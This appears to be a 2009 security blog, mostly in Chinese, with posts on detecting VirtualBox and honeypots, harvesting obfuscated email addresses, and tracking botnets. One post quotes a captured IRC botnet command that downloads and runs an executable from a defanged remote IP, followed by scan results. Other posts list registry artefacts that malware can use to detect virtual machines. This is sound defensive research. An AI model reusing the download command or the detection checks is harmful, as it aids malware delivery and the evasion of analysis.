2009
10.21

早前我就写了关于虚拟环境检测的文章 检测虚拟机和蜜罐方法的概念 。这次就谈实际的。既然我是用 VirtualBox,就略略讲其中比较容易的方法之一:

在注册表:

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\

VideoBiosVersion = VBOX   – 1

SystemBiosVersion = Sun xVM VirtualBox Version 2.1.4_OSE VGA BIOS
Sun xVM VirtualBox Version 2.1.4_OSE VGA BIOS
Sun xVM VirtualBox Version 2.1.4_OSE
Sun xVM VirtualBox Version 2.1.4_OSE
VirtualBox Version 2.1.4_OSE VBE Display Adapter
VirtualBox Version 2.1.4_OSE VBE Display Adapter

以上的存在会暴露 VirtualBox 的存在。当然还有其他:

HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
HKEY_LOCAL_MACHINE\HARDWARE\ACPI\FADT\VBOX__
HKEY_LOCAL_MACHINE\HARDWARe\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

Identifier = VBOX HARDDISK

HKEY_LOCAL_MACHINE\HARDWARe\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0

Identifier = VBOX CD-ROM


在装置管理员也写得很清楚。用程式查问不困难。

DVD/CDROM : VBOX CD-ROM
Harddisk : VBOX HARDDISK

这都是其一的方法而已。Peter Ferrie 的研究报告可以看看。

以下是一些网络资源:Peter Ferrie 的 Virtual Machine ThreatsPPT档 ,及 Marshall Fryman 的博文这里这里,以及一个codeproject示范。希望能對大家有用。

===

来个小小的更新。最近这两个月都没有现身,主要是九月整个月都为私人事奔波,而十月则是为了准备新工作而忙碌(我以前是为 Microsoft Office SharePoint Server 伺服器做防毒软件的,中国没有甚麽人用的。)不过,这份新工作并不是关于反罪恶而是云端安全。

云端安全呀!没有人没听过吧?

新的工作是关于在 Windows Azure 上的云端计算。可惜,话题要点到即止了。放心了,我还是很着重对反罪恶的研究。=)

http://onhacks.org/lang/en/2009/08/21/concept-of-virtual-machines-and-honeypots-detection-techniques
2009
09.25

Avert Labs 出了一篇新研究:“Inside the Password-Stealing Business: the Who and How of Identity Theft.” 。 对地下经济有兴趣的人,应该要去看一看!中文版好像下载不了(http://www.avertlabs.com/research/blog/index.php/2009/09/24/inside-the-password-stealing-business/)。

游戏市场一直都是很有前途的市场,这对于地下市场亦然。即使你是正道的,游戏市场真的可以赚很多钱。另一方面,你应该没有听过别人盗版 “Microsoft High Performance Computing Cluster” ,对吧?但其实他们是卖得挺好的,在中国也是。高效运算都是一个很有潜力的市场呀!

另外就是,现在的病毒好像要你中毒还不够 (Zbot),还想帮你惹官非。大家都知道中了毒的电脑会被拿来做罪犯的踏脚石,所以作为受害者你要证明自己是受害者。Zbot 会把你的电脑的注册表的 HKEY 根删掉,直接废掉电脑。很正常地,你会格式化并重装电脑,那时候甚麽证据都消失了。坐牢呀~

http://www.mcafee.com/us/local_content/reports/6622rpt_password_stealers_0709_en.pdf
2009
09.12

I disappeared again after my last post talking about spam collections and DNS misconfigurations. Today, I read log0′s post which he is calling for bots/ tools for his security research. Did you see anything familiar to you? How log0 is showing his contact to us, “log0 [ at ] gmail [ dot ] com”. We were using this format for quite some time, after we realized that showing full form of our address (eg. spam@onhacks.org) increases the chance that our email get exposed to spammers.

However, these kinds of representation already appeared on the Internet for last few years. Did you ever think of one fact is that: A clever spammers just need to modify few lines of code in their bots, changing the target strings they are looking for, then everything is just working as the same as in the past.

The most interesting thing is that RSnake has blogged his finding on this form of email representation last Tuesday. In short, he has googled with “at gmail dot com”, and surprisingly there are at least 6 email addresses in the first result page. There are many variations, but they all have the same pattern, here are some examples:

spam  at  onhacks  dot  com
spam [at] onhacks [dot] com
spam (at) onhacks (dot) com
spam <at> onhacks <dot> com
spam “at” onhacks “dot” com

(Obviously, I am trying my best to let spammers know my address)

I spent an hour to write a very simple PoC parser to retrieve email addresses from the result page mentioned above. Obviously there are at least 4 valid email addresses, it is not too hard to get those email addresses by bots. The parser is just looking for 1 ‘at’ and 1 ‘dot’ keyword appears sequentially in the pattern: [any word] “at” [any word] “dot” [any word]. The code is poorly written, I will improve it later this week.

It is not so difficult to discover the pattern between these email addresses, just a piece of cake even for primary students. Then, what kind of representation we should use to show our email address on the Internet? Display the jpeg of the email? Without adding noises to the image, it is as easy as just performing text recognition. With noises on the image, it is more like CAPTCHA. Since most of the CAPTCHA solver aims on specific type of CAPTCHA, it may takes more time to decrypt an “encrypted” email using CAPTCHA. However, it is not unsolvable.

What is the takeaway then? Better not showing your address on web! Or encrypt it into CAPTCHA, at least your email address has less chance being captured by spammers.

2009
09.10

早前提到,我在写一个全自动化的殭尸追踪功具(希望整理以后公开给大家用)。

我需要大量不同种类的 HTTP 殭尸样本。最近蜜罐收来的都不是很有用的 HTTP 样本。

你有没有一些 HTTP 殭尸的  PCAP 或样本 可以分享给我? 请送去 log0 [ at ] onhacks [dot] org . 谢谢!

2009
09.05

SecurityTube – 有关安全的影视教学, 有兴趣者去忙一下!

2009
08.31

由 Peter Cheung 和 Roland Cheung 带领的香港区 Honeynet 小队写了两篇关于高互动性蜜罐的研究,一个 Windows 一个 Linux。其实外来不是很多关于这裡的详细指导,所以我才写了那篇。他们就更用心,放了很多图教导如何去分析一个受攻击后的蜜罐。我鼓励有兴趣学习的人不妨去偷师一番。

Windows

http://www.honeybird.hk/project/wp-content/uploads/2009/04/honeypot-study-windows-2008.pdf

Linux

http://www.honeybird.hk/project/wp-content/uploads/2009/02/honeypot-study-linux-2008.pdf

(我真的不懂如何翻译 Forensics… 蜜罐法医学? ) 更新:EvilOctal 的 冰血封情 告知,原来是”取证”! 谢谢. =)

2009
08.27

大型 PCAP 记录, 好东西!

MU Dynamics 从 SHMOO Group 那边得到并公开了一大堆 PCAP 记录,并加上了 index ,共有 15 GB,26.3 百万 封包。据 SHMOO Group 说,(以下是我企图翻译的:)”这堆档裡记录了 DefCon 的 Capture the Flag 的封包。SHMOO Group 公开是为了鼓励更多的安全产品的设计及研究。” 为了研究,大家来点创意用用它吧!

大家不一定知道,SHMOO Group 的 SHMOOCON 有很多高质素和每年都有安全界裡的高人在那裡演说的,即管去看看吧。

http://www.pcapr.net/forensics
2009
08.25

I’ve read this earlier but only posted it now… oops… I felt it is worth to share.

Innovative? Take a look :

http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel/

Now makes us think of the other forum boards such as Baidu Tieba, Google’s, 2ch? =)

2009
08.23

我在写一个自动化工具去追踪殭尸网络。只要一堆 EXE,就自动产生一堆殭尸网络的实况(指令、对话、如何运作)、(有可能是未被发现及不能检测到的)恶意档及(希望未来能有的)自动化分析。

以下是我的工具在测试时从殭尸网络抓到的。我是用我的蜜罐裡抓到的恶意代码来潜入殭尸网络的 =) 收穫中!

2009-08-23 18:27:20,644 – log-6 – INFO – Received : [:irc.efnet.com 332 [ #xx6 :.flushdns |.down -S |.update -S |.update http://94[dot]76[dot]194[dot]116/xx8.exe x5s5g6q3x1n3.exe x5s5g6q3x1n3]

把我赶出去了… 德国货?不一定…

ERROR :Closing Link: [[<my ip, removed!!!>] (Client hat die Verbindung getrennt)

这执行档很新,是四小时之前找到的,是  2009-08-23 18:27:20,644 ( GMT +8 )。

从 http://94[dot]76[dot]194[dot]116/xx8.exe 下载了执行档 (MD5sum : 7904937c07c031e81023dbd81ac93b64),VirusTotal 结果 :

File winhost.exe received on 2009.08.22 15:54:06 (UTC)
Current status: finished

Result: 6/41 (14.63%)
Antivirus Version Last Update Result
a-squared 4.5.0.24 2009.08.22 -
AhnLab-V3 5.0.0.2 2009.08.21 -
AntiVir 7.9.1.3 2009.08.21 -
Antiy-AVL 2.0.3.7 2009.08.21 -
Authentium 5.1.2.4 2009.08.22 -
Avast 4.8.1335.0 2009.08.21 -
AVG 8.5.0.406 2009.08.22 Worm/Generic.AHOV
BitDefender 7.2 2009.08.22 -
CAT-QuickHeal 10.00 2009.08.22 -
ClamAV 0.94.1 2009.08.22 -
Comodo 2058 2009.08.22 -
DrWeb 5.0.0.12182 2009.08.22 BackDoor.IRC.Bot.127
eSafe 7.0.17.0 2009.08.20 -
eTrust-Vet 31.6.6694 2009.08.21 -
F-Prot 4.4.4.56 2009.08.22 -
F-Secure 8.0.14470.0 2009.08.21 -
Fortinet 3.120.0.0 2009.08.22 PossibleThreat
GData 19 2009.08.22 -
Ikarus T3.1.1.68.0 2009.08.22 -
Jiangmin 11.0.800 2009.08.21 -
K7AntiVirus 7.10.825 2009.08.22 -
Kaspersky 7.0.0.125 2009.08.22 Net-Worm.Win32.Kolab.dpo
McAfee 5716 2009.08.21 -
McAfee+Artemis 5716 2009.08.21 Artemis!7904937C07C0
McAfee-GW-Edition 6.8.5 2009.08.22 -
Microsoft 1.4903 2009.08.22 -
NOD32 4358 2009.08.22 -
Norman 6.01.09 2009.08.21 -
nProtect 2009.1.8.0 2009.08.22 -
Panda 10.0.0.14 2009.08.22 -
PCTools 4.4.2.0 2009.08.22 -
Prevx 3.0 2009.08.22 Low Risk Adware
Rising 21.43.50.00 2009.08.22 -
Sophos 4.44.0 2009.08.22 -
Sunbelt 3.2.1858.2 2009.08.22 -
Symantec 1.4.4.12 2009.08.22 -
TheHacker 6.3.4.3.385 2009.08.22 -
TrendMicro 8.950.0.1094 2009.08.22 -
VBA32 3.12.10.9 2009.08.22 -
ViRobot 2009.8.22.1897 2009.08.22 -
VirusBuster 4.6.5.0 2009.08.21 -

发现率 14.63%! 只有 6/41 扫毒能发现,除了 Kaspersky、AVG 和  DrWeb,其他三者都像在猜而已。

你在用哪个扫毒呢?

我在寫一個自動化工具去追蹤殭屍網絡。只要一堆 EXE,就自動產生一堆殭屍網絡的實況(指令、對話、如何運作)、(有可能是未被發現及不能檢測到的)惡意檔及(希望未來能有的)自動化分析。

這是我的工具在測試時從殭屍網絡抓到的東東:

2009
08.21

在 “谁在入侵我的系统?” 裡,我讲述了如何用 Nmap 地简单检测出一个蜜罐,在上一篇亦简单的交待了。如何做是有趣的,但更有趣的是为甚麽能做到,我们应该要学会了解背后原理才算真正成长了。那麽,

为甚麽检测方法能检测出蜜罐呢?

首先,问自己:

如何分辩人和电脑?

图片文字 (CAPTCHA) 的答桉是:让目标去认出一些文字。若能认出,大概是人,否则就是电脑。其中的概念为电脑不能有效地认出图篇中的文字。

抽像少许,我们要求目标去做一些人类能轻易做到的事,但电脑则不能。利用这点,若果过关了,就是人类,否则不是。

CAPTCHA 可以用来分辩电脑和人类。那麽怎样分辩出真的服务和模拟服务?

同理,技术层面上,模拟服务和真的服务有不同之处,这不同之处正是用来区分两者的要诀。利用这一点,就能分辩出两者了。

以一个实际例子说明吧。有些人很喜欢问:

如何分析一段不在虚拟机运行的恶意代码?我的 VMware 不行,难道要用实体机?

等等!但它会在 VirtualBox 裡运行!Eh?

去找一个 SdBot 。它们大多数有 能测出虚拟机 的能力,至使在虚拟机中不会运行。你在 VMware 裡头试试下,是 VMware。之后,用 VirtualBox 再试试。不过,我已测过了,信我的结果的话,能可以省省时间看下去了。

所以,他们问错问题了!应该问:

为甚麽 SdBot 能区分虚拟机和实体机?

它能够做到是因为在技术性层面上,虚拟机和实体机有不同之处。这是和真的服务和虚拟服务同出一辙的。当我说的技术性层面的不同之处,就是说实现方法不同。

准确来说,SdBot 能在 VirtualBox 但不能在 VMware 裡运行意味着 SdBot 是能检测 VMware,但并不是防所有虚拟机的。

看看:

  • 同一个动作,VMware 可能会使用寄存器 (register) 但实体机不会。
  • VMware 有一个 dhcpd 来分派 IP 给虚拟机,这是实体机大多数没有的。
  • 有些处理器命令 VMware 没有支持。

和之前讲述的一样道理。

所以,所谓的不会在虚拟机运行的恶意代码,正确来说是不在某种虚拟机下运行而已。在其他没能检测出的虚拟机 (VirtualBox, Xen, etc) 等就运行了。当然,那检测方法可能一次过能检测出多种虚拟机。

总结就是,如果要在虚拟机下运行 SdBot 的话,你不用用实体机这麽麻烦,只要找出一个不被检出的环境或关掉它的检测方法就好了。这就是箇中道理了,这亦是如何检测出其他蜜罐的概念。努力找蜜罐吧!